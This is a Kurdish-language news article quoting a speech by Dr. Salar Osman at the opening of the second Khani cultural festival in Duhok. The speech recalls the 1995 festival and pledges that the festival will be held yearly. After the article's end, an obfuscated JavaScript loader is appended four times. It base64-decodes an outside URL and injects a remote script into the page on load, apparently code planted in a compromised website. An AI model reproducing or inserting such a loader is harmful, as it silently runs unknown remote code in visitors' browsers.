د. سالار عوسمان: فیستەڤالا خانی یا رەوشەنبیری دێ فیستەڤالەكا سالانە یا بەردەوام بیت
د رێورەسمێن دەستپێكرنا فیستەڤالا خانی یا رەوشەنبیرییا دوویێ، د. سالار عوسمان، ئەندامێ كۆمیتەیا ناڤین و بەرپرسێ پشكا رەوشەنبیری و راگەهاندنا پارتی دیموكراتی كوردستان پەیڤەك پێشكێشكر ئەڤە دەقێ وێ یە:
دخوازم پێكڤە بزڤرین بۆ دیرۆكەكا نێزیك ئەوژی ل هاڤینا سالا 1995 دهۆكێ ئێكەمین فیستەڤالا رەوشەنبیری كرە راستییەكا كلتووری د دیرۆكا كورد كوردستانێدا، ئەو شانازییا كلتووری بۆ دهۆكێ ب پیتێن زێرێن دێ هێتە نڤیسین، پشتی ئەوێ فیستەڤالێ ئێدی فیستەڤال وەكو كلتوور و بزاڤ و چالاكی بوونە دێوارێن زێرین و دیوار پشتی دیواری بالەخانەیا فیستەڤالا كلتووری دروستكر، دیسان هەر دخوزام بینمە بیرا هەوەیێن خوەشتڤی هەر ل هاڤینا سالا 1995 كو د رەوش و دەمەكیدا د ژیاین كو مخابن شەڕێ ناڤخوەیی هەبوو، د رەوش و دەمەكیدا دژیاین كو مخابن رەوشا ئابۆری و جڤاكی گەلەك د ئاستەكێ خرابدابوو، ئەوی دەمی د ناڤ ئەوێ رەوشا خرابدا یا پڕ شەڕ و پڕ ئاژاوە دا ل كوردستانێ، تێكگەهشتنەك د ناڤ پارتی دیموكراتی كوردستان دا هەبوو كو دشیاندایە بیاڤ كلتووری و رەوشەنبیری، پەیڤ و دەنگ و رەنگ و هۆزان و شعر و رۆمان مە كۆمڤە بكەت، ئەوبو هەموو كوردستان ل دهۆكێ كۆمبوو و ئێكەمین فیستەڤال بڕێڤەبر، هەمان تێگەهشتن و بۆچوونا پارتی دیموكراتی كوردستان یا بەردەوامە و ئەڤرۆ ئەم ل دهۆكێ دێ بینەرێن رودانێن پۆزەتیڤ بین وەكو فیستەڤالا نێڤدەولەتییا سالانە یا سینەمایێ و دیدارێن رەوشەنبیری یێن بەردەوام، فیستەڤالا خانی یا رەوشەنبیری ژی ئەڤرۆ گەرا وێ یا دوویێیە و سۆزێ د دەینە هەوە كو ئەڤ فیستەڤالە سالانە دێ بەردەوام بیت.
هەر ل ڤێرێ سۆزێ د دەینە هەوە كو سالەكا دی باشتر و ل وەرزەكێ گونجایتر ب كۆمكرنەكا نیشتمانیتر وب دەربازبون بۆ سنوورێن دی كەڤالەكێ مەزن یێ پڕ رەنگ دێ دروست كەین ب ناڤێ فیستەڤالا خانی یا رەوشەنبیرییا سیێ.
هەر ل ڤێرێ دخوازم باسێ ئەوێ چەندێ بكەم كو ئەڤ ناڤونیشانێ ل سەر پرۆگرامی ول سەر شاشێ و ل بەر دەستێن هەوەیێن خوەشتڤی ناڤونیشانەكێ گەلەك گرنگە ئەوژی (جڤاكەكێ رەوشەنبیر بۆ پاشەڕۆژەكا گەشتر).
جڤاكەكێ رەوشەنبیر بێی رەوشەنبیران و بێی رەوشەنبیری پەیدا نابیت لەوما ئەڤ فیستەڤالە دەربڕینێ ژ رەوشەنبیری وەكو كاراكتەر و ژ رەوشەنبیریێ وەكو بزاڤ دكەت و گرنگیێ د دەتە جڤاكی وەكو جڤاكەكێ گەشتر و پاشەڕۆژەكا گەشتر، لەوما د ناڤ ئەڤان هەموو چەمكاندا رەوشەنبیر و رەوشەنبیرییەت و جڤاك، ڤا رەوشەنبیری و جڤاكێ گەش و پاشەڕۆژ و پاشەڕۆژەكا گەش و یا گەشتر ئەركەكێ مەزنە ل سەر ملێ مە هەموویان ب تایبەتی ل سەر ملێ رەوشەنبیران كو ب پشتڕاستیڤە د ئەوان پانێلێن دێ هێنە پێشكێشكرن هیڤیدارین ژ هەوەیێن خوەشتڤی بەرهەڤییەكا باش د پانێلاندا هەبیت و گەنگەشەیەكا باش بكەن و دشیاندایە كوور هزر بكەین و د شیاندایە ب شێوەیەكێ ستوونی گەنگەشێ بكەین و دشیاندایە راسپاردەیێن گەلەك باش پێشكێشی دەزگەهێن فەرمی یێن وەلاتی خوە بكەین، لەوما چاڤەڕێ دكەین گەنگەشەیەكا باش د ناڤ پانێلاندا بهێتە كرن و كۆمەكا راسپاردەیان بەرهەڤ بكەین و ئەو راسپاردە ببنە نەخشەرێك بۆ سەرۆكایەیێن هەرێما كوردستانێ و حوكمەتا هەرێما كوردستانێ و پەرلەمانێ كوردستانێ و زانكۆیان و ناڤەند و ئینستیتیوت و میدیاكاران و … هتد.
دخوازم ل ڤێرێ سوپاسییا ناڤەندا خانی یێ رەوشەنبیری و راگەهاندنێ بكەم كو گەلەك وەستیا و ودەستخوەشیێ ل ئەوێ ناڤەندێ دكەم و سوپاسییا ئێك ب ئێك یا لژنەیێن فیستەڤالێ دكەم و هەموو ئەوێن ل ڤێرێ دهێنە دیتن و یێن ناهێنە دیتن ژی و هەر ل ڤێرێ ب دەلیڤە و ب دەرفەت دزانم سوپاسییا دیرۆكا پڕ شاناز یا دەزگەهێ خانی یێ رەوشەنبیری و راگەهاندنێ بكەم كو نوكە بوویە ناڤەندا خانی یا رەوشەنبیری و راگەهاندنێ، د دەلیڤەیەكا دیرۆكی یا ب ئەڤی شێوەی نابیت باسێ شەهیدێن خوە ین قەهرەمان نەكەین و باس ل ئەوێن وەغەركرین نەكەین كو ب درێژییا ئەڤێ دیرۆكێ پیت كرینە رستە و رستە كرینە پەرەگراف و پەرەگراف ژی كرینە دەق و دەق ژی كرینە مانڤێستێ نیشتمانی كلتووری.
سوپاس بۆ هەموو ئەو كەسێن رۆژەكێ چ ب پیتەكێ یان ب رستەیەكێ یان ب پەیڤەكێ ل دەزگەهێ خانی كاركری، سوپاس بۆ هەموو بەرپرسێن دەزگەهێ خانی كو نوكە پشكەك ژ ئەوان یێن ل ڤێرێ كو ئەوان قۆناغێن ب زەحمەت دەربازكرن و قۆناغا ئەڤرۆ دروستكر، سوپاس بۆ هەموو ئەو كەسێن وەغەركرین و وێنەیێن ئەوان نوكە ل هۆلا فیستەڤالێ دهێنە دیتن و ب قەفتەكا رۆندكان دبێژینە مالباتێن ئەوان هەوە ژبیر ناكەین و هوون د ناڤ دل و وژدنا مە دا دژین و نەڤیێن هەوە دێ بنە چرایێن مە و ئەم دێ د بەردەوامبین ل سەر ئەوێ رێكێ.
جارەكادی سوپاس بۆ میدیاكاران كو هەردەم بزاڤ و چالاكیێن پشكا رەوشەنبیری و راگەهاندنا پارتی ڤەدگوهێزن بۆ دوورترین جوگرافییا و بەرفرەهترین بیاڤ، سوپاس بۆ هەموو ئەو لژنەیێن ل ڤێرێ، سوپاس بۆ هەموو ئەوان بڕگەیێن دێ هێنە پێشكێشكرن ب تابەت هونەرمەندێن ئەزیز، سوپاس بۆ پێشكێشكەرێن پانێلان كو ژ دوور و ژ دهۆكێ ژی پەیڤ و بۆچوونێن خوە پێشكێش دكەن كو پشكەكا ژ ئەوان خودان قەلەمێن دیار و ئەكادیمیێن دیار یێن وەلاتێ مەنە، سوپاس بۆ هۆزانڤانان كو دەمەكێ دێ گوهدارییا پەیڤێن وان یێن رەنگین كەین كو هەر ئێك ژوان دەنگێ دەڤەرەكێیە و نوونەرایەتییا نەڤیەكێ شعری و تێگەهشتنەكا نوو یا هۆزانا كوردی دكەن، سوپاس بۆ هەموو ئەو كەسێن د بوارێن دی یێن شوونواری و پەرتوكێ و فوتۆگرافی و فیلم و دیكیۆمێنتاری هەموو كار دكەین چونكە هەموو ئەو بوار و پشكە دناڤ ئەڤێ فیستەڤالێدا هەبوون یا هەی.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
